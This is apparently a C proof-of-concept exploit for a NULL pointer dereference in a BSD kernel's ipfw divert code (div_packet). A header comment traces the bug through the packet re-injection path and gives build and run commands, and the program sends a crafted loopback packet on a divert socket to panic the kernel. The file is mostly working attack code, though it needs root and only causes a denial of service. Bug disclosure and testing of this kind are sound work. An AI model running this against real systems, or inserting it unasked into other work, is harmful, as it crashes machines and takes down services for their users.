/*
 * DF-0645 - NULL deref in div_packet on re-injected divert packet.
 *
 * Bug: sys/netinet/ip_divert.c:186 - in the `if (incoming)` block, the code
 * dereferences `m->m_pkthdr.rcvif` WITHOUT a NULL guard:
 *
 *   182: if (incoming) {
 *   186:     TAILQ_FOREACH(ifac, &m->m_pkthdr.rcvif->if_addrheads[mycpuid], ...)
 *
 * Line 202 (16 lines below) correctly checks `if (m->m_pkthdr.rcvif)`, so
 * the developer knew rcvif could be NULL but missed guarding the :186 block.
 *
 * The NULL rcvif arises on the re-injection path:
 *   - Userland divert daemon: sendto(divsock, ip_pkt, len, 0, &sin, sizeof sin)
 *     where sin.sin_addr.s_addr != 0  => DIV_IS_OUTPUT(sin) is false
 *   - div_output() (line 366): calls ip_input(m) on the mbuf.
 *   - The mbuf was allocated by sosend -> m_gethdr, which sets rcvif = NULL
 *     (sys/kern/uipc_mbuf.c:596).
 *   - ip_input runs ipfw. The divert rule (e.g. `ipfw add divert 1234 ip
 *     from any to any`) matches and calls ip_divert_in(m, tee).
 *   - ip_divert_in -> divert_packet(m, 1) -> div_packet(m, 1, port).
 *   - div_packet at line 186 dereferences NULL rcvif => kernel panic.
 *
 * Setup (root only): ipfw divert rule + divert socket bound to that port.
 * The divert socket requires SYSCAP_RESTRICTEDROOT (root).
 *
 * Build: cc -O -o df0645_poc df0645_poc.c
 * Run:   ./df0645_poc         # as root; kernel panics
 */

#include <sys/param.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>

#define DIVERT_PORT 12345

int main(int argc, char **argv)
{
    int port = DIVERT_PORT;
    if (argc > 1) port = atoi(argv[1]);

    int s = socket(AF_INET, SOCK_RAW, IPPROTO_DIVERT);
    if (s < 0) {
        fprintf(stderr, "socket(AF_INET,SOCK_RAW,IPPROTO_DIVERT): %s\n",
                strerror(errno));
        fprintf(stderr, "(requires root / SYSCAP_RESTRICTEDROOT; ipfw.ko loaded)\n");
        return 1;
    }

    struct sockaddr_in bindaddr;
    memset(&bindaddr, 0, sizeof(bindaddr));
    bindaddr.sin_len = sizeof(bindaddr);
    bindaddr.sin_family = AF_INET;
    bindaddr.sin_port = htons(port);
    bindaddr.sin_addr.s_addr = INADDR_ANY;
    if (bind(s, (struct sockaddr*)&bindaddr, sizeof(bindaddr)) < 0) {
        fprintf(stderr, "bind(divert port %d): %s\n", port, strerror(errno));
        return 1;
    }

    printf("[*] divert socket bound to port %d\n", port);
    printf("[*] Please ensure ipfw has: 'add divert %d ip from any to any'\n", port);
    printf("[*] sending re-inject packet (sin_addr != 0 -> DIV_INPUT path)\n");
    printf("[*] expected: kernel panic 'Fatal trap 12: page fault while in\n");
    printf("    kernel mode' from div_packet+0x.. dereferencing NULL rcvif\n");

    /* Build a minimal valid IP packet (the divert socket has INP_HDRINCL
     * set in div_attach, so we must provide a complete IP header). */
    unsigned char pkt[sizeof(struct ip)];
    memset(pkt, 0, sizeof(pkt));
    struct ip *ip = (struct ip *)pkt;
    ip->ip_v = 4;
    ip->ip_hl = sizeof(struct ip) >> 2;
    ip->ip_len = htons(sizeof(struct ip));
    ip->ip_ttl = 64;
    ip->ip_p = IPPROTO_RAW;
    ip->ip_src.s_addr = htonl(INADDR_LOOPBACK);   /* 127.0.0.1 */
    ip->ip_dst.s_addr = htonl(INADDR_LOOPBACK);   /* 127.0.0.1 */

    /* sin for re-injection: sin_addr != 0 means DIV_INPUT (ip_input path).
     * sin.sin_port is the "skipto" hint = 0 means re-process from rule 0,
     * which will re-match the divert rule and call ip_divert_in(). */
    struct sockaddr_in sin;
    memset(&sin, 0, sizeof(sin));
    sin.sin_len = sizeof(sin);
    sin.sin_family = AF_INET;
    sin.sin_port = htons(0);                       /* skipto = 0 */
    sin.sin_addr.s_addr = htonl(INADDR_LOOPBACK);  /* != 0 -> DIV_INPUT */

    ssize_t rc = sendto(s, pkt, sizeof(pkt), 0,
                        (struct sockaddr*)&sin, sizeof(sin));
    int e = errno;
    printf("[*] sendto rc=%zd errno=%d", rc, e);
    if (rc < 0) printf(" (%s)", strerror(e));
    printf(" -- if the kernel panics, this line is the last you see.\n");

    /* If we get here, the panic didn't fire. Sleep so any deferred
     * netisr processing has time to run. */
    sleep(2);
    printf("[!] no panic observed. Check ipfw rule + divert socket binding.\n");
    close(s);
    return 0;
}
